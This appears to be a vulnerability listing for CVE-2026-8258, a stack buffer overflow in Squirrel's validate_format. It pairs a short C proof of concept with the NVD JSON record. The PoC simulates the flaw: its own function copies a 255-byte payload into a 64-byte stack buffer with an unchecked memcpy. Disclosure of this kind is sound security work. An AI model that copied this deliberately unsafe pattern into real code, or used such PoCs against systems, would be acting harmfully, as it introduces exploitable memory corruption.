CVE-2026-8258

/* * PoC for CVE-2026-8258 * Trigger stack-based buffer overflow in validate_format function * This code demonstrates the vulnerability concept. */ #include <stdio.h> #include <string.h> #include <stdlib.h> // Simulating the vulnerable logic in sqstdlib/sqstdstring.cpp void vulnerable_validate_format(char *input) { char buffer[64]; // Stack buffer with limited size // The flaw: using memcpy without checking input length against buffer size // This leads to stack-based buffer overflow memcpy(buffer, input, strlen(input)); printf("Buffer content: %s\n", buffer); } int main() { printf("[+] CVE-2026-8258 PoC Trigger\n"); // Create a payload larger than the buffer (64 bytes) // This simulates the manipulation mentioned in the CVE description char *payload = (char *)malloc(256); memset(payload, 'A', 255); payload[255] = '\0'; printf("[+] Sending payload of length 255...\n"); vulnerable_validate_format(payload); printf("[+] Exploit finished (Crash or code execution expected)\n"); free(payload); return 0; }

{"cve": {"id": "CVE-2026-8258", "sourceIdentifier": "[email protected]", "published": "2026-05-11T02:16:27.250", "lastModified": "2026-05-11T14:16:33.657", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Squirrel up to 3.2. Impacted is the function validate_format in the library sqstdlib/sqstdstring.cpp. Executing a manipulation can lead to stack-based buffer overflow. The attack can only be executed locally. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/albertodemichelis/squirrel/issues/325", "source": "[email protected]"}, {"url": "https://github.com/biniamf/pocs/tree/main/squirrel-validate_format-memcpy-oob", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/809873", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362555", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362555/cti", "source": "[email protected]"}, {"url": "https://github.com/albertodemichelis/squirrel/issues/325", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}